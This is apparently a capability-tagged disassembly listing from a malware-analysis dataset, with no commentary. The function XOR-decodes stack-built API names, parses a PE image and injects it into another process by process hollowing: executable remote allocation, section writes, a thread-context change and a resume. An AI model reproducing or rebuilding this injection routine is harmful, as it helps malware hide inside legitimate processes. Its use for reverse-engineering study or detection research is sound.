Function at 0x424d5e
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Parse pe header
Query environment variable

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
lea esi, [ebp - 0x94]
push ebx
push ecx
sub esp, 0xf8
mov eax, dword [ecx]
mov edi, dword [0x4de048]
mov dword [ebp - 0x94], 0x77706856
mov dword [ebp - 0x90], 0x416a6471
mov dword [ebp - 0xac], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x8c], 0x6f6c7a
mov dword [ebp - 0xbc], eax
mov eax, dword [ecx + 8]
mov ecx, 0xb
mov dword [ebp - 0xb4], eax
mov eax, ecx
mov ebx, 0xb
xor edx, edx
div ebx
xor byte [ebp + ecx - 0x9f], dl
inc ecx
cmp ecx, 0x16
jne 0x424db4
lea ebx, [ebp - 0x5c]
mov ecx, ebx
call fcn.0042e3d8
mov eax, ebx
call fcn.004284d4
mov dword [esp + 4], esi
mov dword [esp], eax
call edi
push edi
push edi
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0xb4]
cmp word [eax], 0x5a4d
jne 0x425e88
add eax, dword [eax + 0x3c]
cmp dword [eax], 0x4550
mov dword [ebp - 0xb0], eax
jne 0x425e88
xor eax, eax
mov ecx, 0x11
mov edi, ebx
mov byte [ebp - 0x8c], 0x42
rep stosd dword es:[edi], eax
mov dword [ebp - 0x94], 0xc1eb1542
mov dword [ebp - 0x90], 0x7c90ec48
mov al, byte [0x4ddab8]
test al, al
jne 0x424e79
mov dword [esp], 0x4ddab8
call fcn.004ceb90
test eax, eax
je 0x424e79
mov dword [esp], esi
mov ecx, 0x4e0be0
call fcn.0042e96c
push ebx
mov dword [esp], 0x4cfa74
call fcn.004013f0
mov dword [esp], 0x4ddab8
call fcn.004cec60
mov ecx, 0x4e0be0
lea edi, [ebp - 0x94]
mov esi, 0x4dd1a0
call fcn.0042e93c
mov dword [esp], 0x4e0be0
call fcn.00422510
mov ecx, 0xe
mov dword [ebp - 0xa1], 0x71f0f67a
rep movsd dword es:[edi], dword [esi]
mov al, byte [0x4dda20]
test al, al
jne 0x424ef0
mov dword [esp], 0x4dda20
call fcn.004ceb90
test eax, eax
je 0x424ef0
lea eax, [ebp - 0x94]
mov ecx, 0x4e0840
mov dword [esp], eax
call fcn.0042e89c
push ecx
mov dword [esp], 0x4cfa78
call fcn.004013f0
mov dword [esp], 0x4dda20
call fcn.004cec60
mov ecx, 0x4e0840
call fcn.0042e86c
mov dword [esp], 0x4e0840
call sub.msvcrt.dll_getenv
test eax, eax
je 0x424f12
lea eax, [ebp - 0xa1]
call eax
mov eax, dword [ebp - 0xac]
lea ebx, [ebp - 0x94]
vpxor xmm0, xmm0, xmm0
mov esi, dword [0x4de048]
mov ecx, ebx
vmovdqu xmmword [eax], xmm0
call fcn.0042e5d8
lea ecx, [ebp - 0xa1]
call fcn.0042e3d8
mov eax, ecx
call fcn.004284d4
mov dword [esp + 4], ebx
mov dword [esp], eax
call esi
push edx
push edx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x94], 0xc1eb1542
mov dword [ebp - 0x90], 0x7c90ec48
mov byte [ebp - 0x8c], 0x42
mov al, byte [0x4dda88]
test al, al
jne 0x424fb0
mov dword [esp], 0x4dda88
call fcn.004ceb90
test eax, eax
je 0x424fb0
mov dword [esp], ebx
mov ecx, 0x4e0ac0
call fcn.0042e96c
push edi
mov dword [esp], 0x4cfa84
call fcn.004013f0
mov dword [esp], 0x4dda88
call fcn.004cec60
mov ecx, 0x4e0ac0
lea edi, [ebp - 0x94]
mov esi, 0x4dd1a0
call fcn.0042e93c
mov dword [esp], 0x4e0ac0
call fcn.00422510
mov ecx, 0xe
mov dword [ebp - 0xa1], 0x8500fe7e
rep movsd dword es:[edi], dword [esi]
mov al, byte [0x4dda90]
test al, al
jne 0x425027
mov dword [esp], 0x4dda90
call fcn.004ceb90
test eax, eax
je 0x425027
lea eax, [ebp - 0x94]
mov ecx, 0x4e0ae0
mov dword [esp], eax
call fcn.0042e89c
push esi
mov dword [esp], 0x4cfa88
call fcn.004013f0
mov dword [esp], 0x4dda90
call fcn.004cec60
mov ecx, 0x4e0ae0
call fcn.0042e86c
mov dword [esp], 0x4e0ae0
call sub.msvcrt.dll_getenv
test eax, eax
je 0x425049
lea eax, [ebp - 0xa1]
call eax
mov dword [ebp - 0x94], 0xc1eb1542
mov dword [ebp - 0x90], 0x7c90ec48
mov byte [ebp - 0x8c], 0x42
mov al, byte [0x4dda98]
test al, al
jne 0x4250a9
mov dword [esp], 0x4dda98
call fcn.004ceb90
test eax, eax
je 0x4250a9
lea eax, [ebp - 0x94]
mov ecx, 0x4e0b20
mov dword [esp], eax
call fcn.0042e96c
push ebx
mov dword [esp], 0x4cfa98
call fcn.004013f0
mov dword [esp], 0x4dda98
call fcn.004cec60
mov ecx, 0x4e0b20
lea edi, [ebp - 0x94]
mov esi, 0x4dd1a0
call fcn.0042e93c
mov dword [esp], 0x4e0b20
call fcn.00422510
mov ecx, 0xe
mov dword [ebp - 0xa1], 0x99100682
rep movsd dword es:[edi], dword [esi]
mov al, byte [0x4ddaa0]
test al, al
jne 0x425120
mov dword [esp], 0x4ddaa0
call fcn.004ceb90
test eax, eax
je 0x425120
lea eax, [ebp - 0x94]
mov ecx, 0x4e0b40
mov dword [esp], eax
call fcn.0042e89c
push ecx
mov dword [esp], 0x4cfa9c
call fcn.004013f0
mov dword [esp], 0x4ddaa0
call fcn.004cec60
mov ecx, 0x4e0b40
call fcn.0042e86c
mov dword [esp], 0x4e0b40
call sub.msvcrt.dll_getenv
test eax, eax
je 0x425142
lea eax, [ebp - 0xa1]
call eax
mov eax, dword [ebp - 0xac]
xor edx, edx
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], edx
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x5c]
mov dword [esp + 0x20], eax
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0xc], edx
mov dword [esp + 8], edx
mov dword [esp + 4], edx
mov eax, dword [ebp - 0xbc]
mov dword [esp], eax
mov eax, dword [ebp - 0xb8]
call eax
mov byte [ebp - 0x8c], 0x42
mov dword [ebp - 0x94], 0xc1eb1542
mov ebx, eax
sub esp, 0x28
mov dword [ebp - 0x90], 0x7c90ec48
mov al, byte [0x4ddaa8]
test al, al
jne 0x4251ed
mov dword [esp], 0x4ddaa8
call fcn.004ceb90
test eax, eax
je 0x4251ed
lea eax, [ebp - 0x94]
mov ecx, 0x4e0b80
mov dword [esp], eax
call fcn.0042e96c
push eax
mov dword [esp], 0x4cfaa8
call fcn.004013f0
mov dword [esp], 0x4ddaa8
call fcn.004cec60
mov ecx, 0x4e0b80
lea edi, [ebp - 0x94]
mov esi, 0x4dd1a0
call fcn.0042e93c
mov dword [esp], 0x4e0b80
call fcn.00422510
mov ecx, 0xe
mov dword [ebp - 0xa1], 0xad200e86
rep movsd dword es:[edi], dword [esi]
mov al, byte [0x4ddab0]
test al, al
jne 0x425264
mov dword [esp], 0x4ddab0
call fcn.004ceb90
test eax, eax
je 0x425264
lea eax, [ebp - 0x94]
mov ecx, 0x4e0ba0
mov dword [esp], eax
call fcn.0042e89c
push eax
mov dword [esp], 0x4cfaac
call fcn.004013f0
mov dword [esp], 0x4ddab0
call fcn.004cec60
mov ecx, 0x4e0ba0
call fcn.0042e86c
mov dword [esp], 0x4e0ba0
call sub.msvcrt.dll_getenv
test eax, eax
je 0x425286
lea eax, [ebp - 0xa1]
call eax
mov dword [esp], 1
call dword [0x4de04c]
push eax
test ebx, ebx
je 0x425049
mov dword [ebp - 0x94], 0xc1eb1542
mov dword [ebp - 0x90], 0x7c90ec48
mov byte [ebp - 0x8c], 0x42
mov al, byte [0x4dda28]
test al, al
jne 0x4252fc
mov dword [esp], 0x4dda28
call fcn.004ceb90
test eax, eax
je 0x4252fc
lea eax, [ebp - 0x94]
mov ecx, 0x4e0880
mov dword [esp], eax
call fcn.0042e96c
push eax
mov dword [esp], 0x4cfab8
call fcn.004013f0
mov dword [esp], 0x4dda28
call fcn.004cec60
mov ecx, 0x4e0880
lea edi, [ebp - 0x94]
mov esi, 0x4dd1a0
call fcn.0042e93c
mov dword [esp], 0x4e0880
lea ebx, [ebp - 0x94]
call fcn.00422510
mov ecx, 0xe
mov dword [ebp - 0xa1], 0xc130168a
rep movsd dword es:[edi], dword [esi]
mov al, byte [0x4dda30]
test al, al
jne 0x425373
mov dword [esp], 0x4dda30
call fcn.004ceb90
test eax, eax
je 0x425373
mov dword [esp], ebx
mov ecx, 0x4e08a0
call fcn.0042e89c
push edi
mov dword [esp], 0x4cfabc
call fcn.004013f0
mov dword [esp], 0x4dda30
call fcn.004cec60
mov ecx, 0x4e08a0
call fcn.0042e86c
mov dword [esp], 0x4e08a0
call sub.msvcrt.dll_getenv
test eax, eax
je 0x425395
lea eax, [ebp - 0xa1]
call eax
mov ecx, ebx
mov esi, dword [0x4de048]
call fcn.0042e6d8
lea ecx, [ebp - 0xa1]
call fcn.0042e3d8
mov eax, ecx
call fcn.004284d4
mov dword [esp + 4], ebx
mov dword [esp], eax
call esi
mov ecx, 0xe
push esi
push esi
mov ebx, dword [0x4de048]
lea esi, [ebp - 0x94]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x94], 0x74626658
mov dword [ebp - 0x90], 0x456f6374
mov dword [ebp - 0x8c], 0x6b686a69
mov word [ebp - 0x88], 0x724c
mov byte [ebp - 0x86], 0
mov eax, ecx
mov edi, 0x11
xor edx, edx
div edi
xor byte [ebp + ecx - 0xa2], dl
inc ecx
cmp ecx, 0x1c
jne 0x425404
lea ecx, [ebp - 0xa1]
call fcn.0042e3d8
mov eax, ecx
call fcn.004284d4
mov dword [esp + 4], esi
lea esi, [ebp - 0x94]
mov dword [esp], eax
call ebx
mov ecx, 0x11
push ebx
push ebx
mov ebx, dword [0x4de048]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x94], 0x67636452
mov dword [ebp - 0x90], 0x64697754
mov dword [ebp - 0x8c], 0x46797a6d
mov dword [ebp - 0x88], 0x7d616069
mov word [ebp - 0x84], 0x69
mov eax, ecx
mov edi, 0x11
xor edx, edx
div edi
xor byte [ebp + ecx - 0xa5], dl
inc ecx
cmp ecx, 0x22
jne 0x425481
lea ecx, [ebp - 0xa1]
call fcn.0042e3d8
mov eax, ecx
call fcn.004284d4
mov dword [esp + 4], esi
lea esi, [ebp - 0x94]
mov dword [esp], eax
call ebx
push ecx
push ecx
mov ebx, dword [0x4de048]
mov ecx, 0x12
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x94], 0x76687245
mov dword [ebp - 0x90], 0x69775466
mov dword [ebp - 0x8c], 0x797a6d64
mov dword [ebp - 0x88], 0x61606946
mov word [ebp - 0x84], 0x697d
mov byte [ebp - 0x82], 0
mov eax, ecx
mov edi, 0x13
xor edx, edx
div edi
xor byte [ebp + ecx - 0xa6], dl
inc ecx
cmp ecx, 0x24
jne 0x425505
lea ecx, [ebp - 0xa1]
call fcn.0042e3d8
mov eax, ecx
call fcn.004284d4
mov dword [esp + 4], esi
lea esi, [ebp - 0x94]
mov dword [esp], eax
call ebx
mov ecx, 0xc
push edx
push edx
mov ebx, dword [0x4de048]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x94], 0x7772655e
mov dword [ebp - 0x90], 0x6e51616e
mov dword [ebp - 0x8c], 0x6e686d75
mov byte [ebp - 0x88], 0
mov eax, ecx
mov edi, 0xd
xor edx, edx
div edi
xor byte [ebp + ecx - 0xa0], dl
inc ecx
cmp ecx, 0x18
jne 0x425576
lea ecx, [ebp - 0xa1]
call fcn.0042e3d8
mov eax, ecx
call fcn.004284d4
mov dword [esp + 4], esi
mov dword [esp], eax
call ebx
mov ecx, 0x10
lea ebx, [ebp - 0x94]
push edi
push edi
mov esi, dword [0x4de048]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x94], 0x56756557
mov dword [ebp - 0x90], 0x6760766b
mov dword [ebp - 0x8c], 0x64664b63
mov dword [ebp - 0x88], 0x7a75697f
mov byte [ebp - 0x84], 0
mov eax, ecx
mov edi, 0x11
xor edx, edx
div edi
xor byte [ebp + ecx - 0xa4], dl
inc ecx
cmp ecx, 0x20
jne 0x4255f1
lea edi, [ebp - 0xa1]
mov ecx, edi
call fcn.0042e3d8
mov eax, edi
call fcn.004284d4
mov dword [esp + 4], ebx
mov dword [esp], eax
call esi
xor ecx, ecx
push edx
mov esi, eax
push edx
mov dword [esp], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 4
mov eax, dword [ebp - 0xb8]
call eax
sub esp, 0x10
mov dword [ebp - 0xb8], eax
mov dword [eax], 0x10007
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xac]
mov eax, dword [eax + 4]
mov dword [esp], eax
call esi
push esi
push esi
test eax, eax
je 0x425e88
mov word [ebp - 0x94], 0x34
mov dword [esp], ebx
call sub.msvcrt.dll_atoi
mov esi, eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax + 0xa4]
mov word [ebp - 0xa1], 0x38
mov dword [ebp - 0xbc], eax
mov dword [esp], edi
xor edi, edi
call sub.msvcrt.dll_atoi
lea edx, [ebp - 0xa8]
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], esi
mov dword [esp + 8], edx
mov edx, dword [ebp - 0xbc]
add eax, edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [esp], eax
mov eax, dword [ebp - 0xcc]
call eax
mov eax, dword [ebp - 0xb0]
sub esp, 0x14
mov eax, dword [eax + 0x34]
cmp dword [ebp - 0xa8], eax
jne 0x425930
mov dword [ebp - 0x94], 0xc1eb1542
mov dword [ebp - 0x90], 0x7c90ec48
mov byte [ebp - 0x8c], 0x42
mov al, byte [0x4dda38]
test al, al
jne 0x425755
mov dword [esp], 0x4dda38
call fcn.004ceb90
test eax, eax
je 0x425755
mov dword [esp], ebx
mov ecx, 0x4e08e0
call fcn.0042e96c
push esi
mov dword [esp], 0x4cfac8
call fcn.004013f0
mov dword [esp], 0x4dda38
call fcn.004cec60
mov ecx, 0x4e08e0
lea edi, [ebp - 0x94]
mov esi, 0x4dd1a0
call fcn.0042e93c
mov dword [esp], 0x4e08e0
call fcn.00422510
mov ecx, 0xe
mov dword [ebp - 0xa1], 0xd5401e8e
rep movsd dword es:[edi], dword [esi]
mov al, byte [0x4dda40]
test al, al
jne 0x4257cc
mov dword [esp], 0x4dda40
call fcn.004ceb90
test eax, eax
je 0x4257cc
lea eax, [ebp - 0x94]
mov ecx, 0x4e0900
mov dword [esp], eax
call fcn.0042e89c
push ebx
mov dword [esp], 0x4cfae4
call fcn.004013f0
mov dword [esp], 0x4dda40
call fcn.004cec60
mov ecx, 0x4e0900
call fcn.0042e86c
mov dword [esp], 0x4e0900
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4257ee
lea eax, [ebp - 0xa1]
call eax
lea esi, [ebp - 0x94]
mov ebx, dword [0x4de048]
mov ecx, esi
call fcn.0042e714
lea ecx, [ebp - 0xa1]
call fcn.0042e414
lea eax, [ebp - 0xa1]
call fcn.004284d4
mov dword [esp + 4], esi
mov dword [esp], eax
call ebx
push ecx
mov ebx, eax
push ecx
mov dword [ebp - 0x94], 0xc1eb1542
mov dword [ebp - 0x90], 0x7c90ec48
mov byte [ebp - 0x8c], 0x42
mov al, byte [0x4dda48]
test al, al
jne 0x42587e
mov dword [esp], 0x4dda48
call fcn.004ceb90
test eax, eax
je 0x42587e
mov dword [esp], esi
mov ecx, 0x4e0940
call fcn.0042e96c
push edx
mov dword [esp], 0x4cfaf0
call fcn.004013f0
mov dword [esp], 0x4dda48
call fcn.004cec60
mov ecx, 0x4e0940
lea edi, [ebp - 0x94]
mov esi, 0x4dd1a0
call fcn.0042e93c
mov dword [esp], 0x4e0940
call fcn.00422510
mov ecx, 0xe
mov dword [ebp - 0xa1], 0xe9502692
rep movsd dword es:[edi], dword [esi]
mov al, byte [0x4dda50]
test al, al
jne 0x4258f5
mov dword [esp], 0x4dda50
call fcn.004ceb90
test eax, eax
je 0x4258f5
lea eax, [ebp - 0x94]
mov ecx, 0x4e0960
mov dword [esp], eax
call fcn.0042e89c
push eax
mov dword [esp], 0x4cfaf4
call fcn.004013f0
mov dword [esp], 0x4dda50
call fcn.004cec60
mov ecx, 0x4e0960
call fcn.0042e86c
mov dword [esp], 0x4e0960
call sub.msvcrt.dll_getenv
test eax, eax
je 0x425917
lea eax, [ebp - 0xa1]
call eax
mov eax, dword [ebp - 0xa8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [esp], eax
call ebx
push eax
push eax
mov dword [ebp - 0x94], 0xc1eb1542
mov dword [ebp - 0x90], 0x7c90ec48
mov byte [ebp - 0x8c], 0x42
mov al, byte [0x4dda58]
test al, al
jne 0x425990
mov dword [esp], 0x4dda58
call fcn.004ceb90
test eax, eax
je 0x425990
lea eax, [ebp - 0x94]
mov ecx, 0x4e09a0
mov dword [esp], eax
call fcn.0042e96c
push eax
mov dword [esp], 0x4cfb00
call fcn.004013f0
mov dword [esp], 0x4dda58
call fcn.004cec60
mov ecx, 0x4e09a0
lea edi, [ebp - 0x94]
mov esi, 0x4dd1a0
call fcn.0042e93c
mov dword [esp], 0x4e09a0
call fcn.00422510
mov ecx, 0xe
mov dword [ebp - 0xa1], 0xfd602e96
rep movsd dword es:[edi], dword [esi]
mov al, byte [0x4dda60]
test al, al
jne 0x425a07
mov dword [esp], 0x4dda60
call fcn.004ceb90
test eax, eax
je 0x425a07
lea eax, [ebp - 0x94]
mov ecx, 0x4e09c0
mov dword [esp], eax
call fcn.0042e89c
push eax
mov dword [esp], 0x4cfb04
call fcn.004013f0
mov dword [esp], 0x4dda60
call fcn.004cec60
mov ecx, 0x4e09c0
call fcn.0042e86c
mov dword [esp], 0x4e09c0
call sub.msvcrt.dll_getenv
test eax, eax
je 0x425a29
lea eax, [ebp - 0xa1]
call eax
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax + 0x50]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax + 0x34]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [esp], eax
mov eax, dword [ebp - 0xc8]
call eax
mov dword [ebp - 0xbc], eax
sub esp, 0x14
test eax, eax
je 0x425d8f
xor eax, eax
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax + 0x54]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xb4]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xbc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [esp], eax
mov eax, dword [ebp - 0xc0]
call eax
lea eax, [ebp - 0x94]
mov word [ebp - 0x94], 0x30
sub esp, 0x14
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov ebx, eax
mov eax, dword [ebp - 0xb0]
movzx eax, word [eax + 6]
cmp eax, ebx
jle 0x425c5a
mov dword [ebp - 0x94], 0xc1eb1542
mov dword [ebp - 0x90], 0x7c90ec48
mov byte [ebp - 0x8c], 0x42
mov al, byte [0x4dda68]
test al, al
jne 0x425b3f
mov dword [esp], 0x4dda68
call fcn.004ceb90
test eax, eax
je 0x425b3f
lea eax, [ebp - 0x94]
mov ecx, 0x4e0a00
mov dword [esp], eax
call fcn.0042e96c
push edi
mov dword [esp], 0x4cfb10
call fcn.004013f0
mov dword [esp], 0x4dda68
call fcn.004cec60
mov ecx, 0x4e0a00
lea edi, [ebp - 0x94]
mov esi, 0x4dd1a0
call fcn.0042e93c
mov dword [esp], 0x4e0a00
call fcn.00422510
mov ecx, 0xe
mov dword [ebp - 0xa1], 0x1170369a
rep movsd dword es:[edi], dword [esi]
mov al, byte [0x4dda70]
test al, al
jne 0x425bb6
mov dword [esp], 0x4dda70
call fcn.004ceb90
test eax, eax
je 0x425bb6
lea eax, [ebp - 0x94]
mov ecx, 0x4e0a20
mov dword [esp], eax
call fcn.0042e89c
push esi
mov dword [esp], 0x4cfb14
call fcn.004013f0
mov dword [esp], 0x4dda70
call fcn.004cec60
mov ecx, 0x4e0a20
call fcn.0042e86c
mov dword [esp], 0x4e0a20
call sub.msvcrt.dll_getenv
test eax, eax
je 0x425bd8
lea eax, [ebp - 0xa1]
call eax
mov dword [ebp - 0x94], 0x383432
mov eax, dword [ebp - 0xb4]
mov edi, dword [eax + 0x3c]
add edi, eax
lea eax, [ebp - 0x94]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
add edi, eax
lea eax, [ebp - 0xa1]
mov ecx, eax
call fcn.0042e544
mov dword [esp], eax
call sub.msvcrt.dll_atoi
xor ecx, ecx
imul eax, ebx
mov dword [esp + 0x10], ecx
inc ebx
add eax, edi
mov edx, dword [eax + 0x10]
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0xb4]
add edx, dword [eax + 0x14]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0xbc]
add edx, dword [eax + 0xc]
mov dword [esp + 4], edx
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [esp], eax
mov eax, dword [ebp - 0xc0]
call eax
sub esp, 0x14
jmp 0x425acd
mov word [ebp - 0x94], 0x34
lea ebx, [ebp - 0x94]
mov dword [esp], ebx
call sub.msvcrt.dll_atoi
mov edi, eax
mov eax, dword [ebp - 0xb8]
mov esi, dword [eax + 0xa4]
lea eax, [ebp - 0xa1]
mov word [ebp - 0xa1], 0x38
mov dword [esp], eax
call sub.msvcrt.dll_atoi
xor edx, edx
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0xb0]
add eax, esi
mov dword [esp + 4], eax
add edx, 0x34
mov dword [esp + 8], edx
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [esp], eax
mov eax, dword [ebp - 0xc0]
call eax
mov edx, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xbc]
mov ecx, 0x12
mov esi, dword [0x4de048]
sub esp, 0x14
add eax, dword [edx + 0x28]
mov edx, dword [ebp - 0xb8]
mov dword [edx + 0xb0], eax
mov dword [ebp - 0x94], 0x6752745c
mov dword [ebp - 0x90], 0x686a4777
mov dword [ebp - 0x8c], 0x7e716d73
mov dword [ebp - 0x88], 0x6b7f645f
mov word [ebp - 0x84], 0x746e
mov byte [ebp - 0x82], 0
mov eax, ecx
mov edi, 0x13
xor edx, edx
div edi
xor byte [ebp + ecx - 0xa6], dl
inc ecx
cmp ecx, 0x24
jne 0x425d27
lea ecx, [ebp - 0xa1]
call fcn.0042e414
lea eax, [ebp - 0xa1]
call fcn.004284d4
mov dword [esp + 4], ebx
mov dword [esp], eax
call esi
push ecx
push ecx
mov ebx, dword [ebp - 0xb8]
mov dword [esp + 4], ebx
mov edx, dword [ebp - 0xac]
mov edx, dword [edx + 4]
mov dword [esp], edx
call eax
push ebx
push ebx
mov eax, dword [ebp - 0xac]
mov eax, dword [eax + 4]
mov dword [esp], eax
mov eax, dword [ebp - 0xd0]
call eax
push esi
mov dword [ebp - 0x94], 0xc1eb1542
mov dword [ebp - 0x90], 0x7c90ec48
mov byte [ebp - 0x8c], 0x42
mov al, byte [0x4dda78]
test al, al
jne 0x425def
mov dword [esp], 0x4dda78
call fcn.004ceb90
test eax, eax
je 0x425def
lea eax, [ebp - 0x94]
mov ecx, 0x4e0a60
mov dword [esp], eax
call fcn.0042e96c
push edx
mov dword [esp], 0x4cfb20
call fcn.004013f0
mov dword [esp], 0x4dda78
call fcn.004cec60
mov ecx, 0x4e0a60
lea edi, [ebp - 0x94]
mov esi, 0x4dd1a0
call fcn.0042e93c
mov dword [esp], 0x4e0a60
call fcn.00422510
mov ecx, 0xe
mov dword [ebp - 0xa1], 0x25803e9e
rep movsd dword es:[edi], dword [esi]
mov al, byte [0x4dda80]
test al, al
jne 0x425e66
mov dword [esp], 0x4dda80
call fcn.004ceb90
test eax, eax
je 0x425e66
lea eax, [ebp - 0x94]
mov ecx, 0x4e0a80
mov dword [esp], eax
call fcn.0042e89c
push eax
mov dword [esp], 0x4cfb24
call fcn.004013f0
mov dword [esp], 0x4dda80
call fcn.004cec60
mov ecx, 0x4e0a80
call fcn.0042e86c
mov dword [esp], 0x4e0a80
call sub.msvcrt.dll_getenv
test eax, eax
je 0x425e88
lea eax, [ebp - 0xa1]
call eax
mov word [ebp - 0x94], 0x30
lea eax, [ebp - 0x94]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [esp + 8], 0x8000
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xb4]
mov dword [esp], eax
mov eax, dword [ebp - 0xc4]
call eax
mov eax, dword [ebp - 0xac]
sub esp, 0xc
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret